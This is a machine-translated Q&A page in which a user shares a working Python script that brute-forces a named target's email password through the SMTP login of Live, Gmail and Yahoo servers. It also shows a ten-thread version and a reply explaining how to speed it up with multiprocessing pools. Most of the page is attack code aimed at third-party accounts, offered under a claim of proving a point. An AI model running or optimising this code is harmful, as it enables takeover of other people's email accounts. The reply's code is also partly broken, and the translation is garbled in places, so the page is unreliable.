Python 分享一个过程或者如何做一个高效的暴力破解

Python sharing a process or how to make an efficient brute force

我需要16个进程共享这个进程。我正在为它购买一个 parallella 板,它有 16 个内核和 运行s,速度为 90gflops。

我不会做任何违法的事情。只是为了证明我的观点,即使用 7 位整数的密码对于组织来说太不安全了。进一步我已经解决了它,我只是想要一个更好的方法。

这是它的基本工作脚本:

import smtplib
service = raw_input("Enter smtp service : ")
if service == "live":
        smtpserver = smtplib.SMTP("smtp.live.com", 587)
elif service == "gmail":
        smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
elif service == "yahoo":
        smtpserver = smtplib.SMTP("smtp.mail.yahoo.com", 587)
enter = raw_input("Enter text file name : ")
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter the target's email address: ")
passwfile = open(enter, 'r')

for password in passwfile.readlines():
        password = password.strip()
        try:
                smtpserver.login(user, password)

                print "[+] Cracked password----> %s" % password
                break;
        except smtplib.SMTPAuthenticationError:
                smtpserver.ehlo()
                smtpserver.starttls()
                pass

到目前为止尝试过:

import smtplib
from threading import Thread
service = raw_input("Enter smtp service : ")
if service == "live":
        smtpserver = smtplib.SMTP("smtp.live.com", 587)
elif service == "gmail":
        smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
elif service == "yahoo":
        smtpserver = smtplib.SMTP("smtp.mail.yahoo.com", 587)

user = raw_input("Enter the target's email address: ")
def tenth():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('10.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def att():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('9.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def atc():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('8.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def atk():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('7.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def attack():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('6.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def tr():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('5.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def br():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('4.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def bru():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('3.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def brute():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('2.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def arrgh():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('1.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
thread1 = Thread(target = arrgh)
thread1.start()
thread2 = Thread(target = brute)
thread2.start()
thread3 = Thread(target = bru)
thread3.start()
thread4 = Thread(target = br)
thread4.start()
thread5 = Thread(target = tr)
thread5.start()
thread6 = Thread(target = att)
thread6.start()
thread7 = Thread(target = atc)
thread7.start()
thread8 = Thread(target = atk)
thread8.start()
thread9 = Thread(target = attack)
thread9.start()
thread10 = Thread(target = tenth)
thread10.start()

它的作用是打开多个文本文件。我希望它能够打开一个文本文件并从该文件本身 运行 多个进程。

首先,如果你不是I/O而是CPU绑定,你应该使用multiprocessing而不是threading。后者并没有使用多核,只是有几个控制线程。


其次,由于您使用的是py2.7,您可能想尝试一下pypy。它运行重复 python 代码比标准 CPython 快得多。


第三,理想情况下,您应该使用一个工作池,每个工作池都从队列中获取工作项。这会自动为您提供负载平衡和其他功能。在您的情况下,您应该创建一个全局池并将函数推送到它,即使用 multiprocessing.Pool and one of its map methods.

你可能应该有这样的设置

import smtplib
import multiprocessing    

def test_passwords(passwords):
  smtpserver = smtplib.SMTP("totally.privat.server.com", 587)
  smtpserver.ehlo()
  smtpserver.starttls()
  for password in passwords:
    password = password.strip()
    try:
      smtpserver.login(user, password)
      print "[+] Cracked password----> %s" % password
      break
    except smtplib.SMTPAuthenticationError:
      smtpserver.ehlo()
      smtpserver.starttls()

workers = multiprocessing.Pool()

def try_my_own_passwords(workers):
   worker.map_async(test_passwords, open("my_pws.txt").readlines(), 100)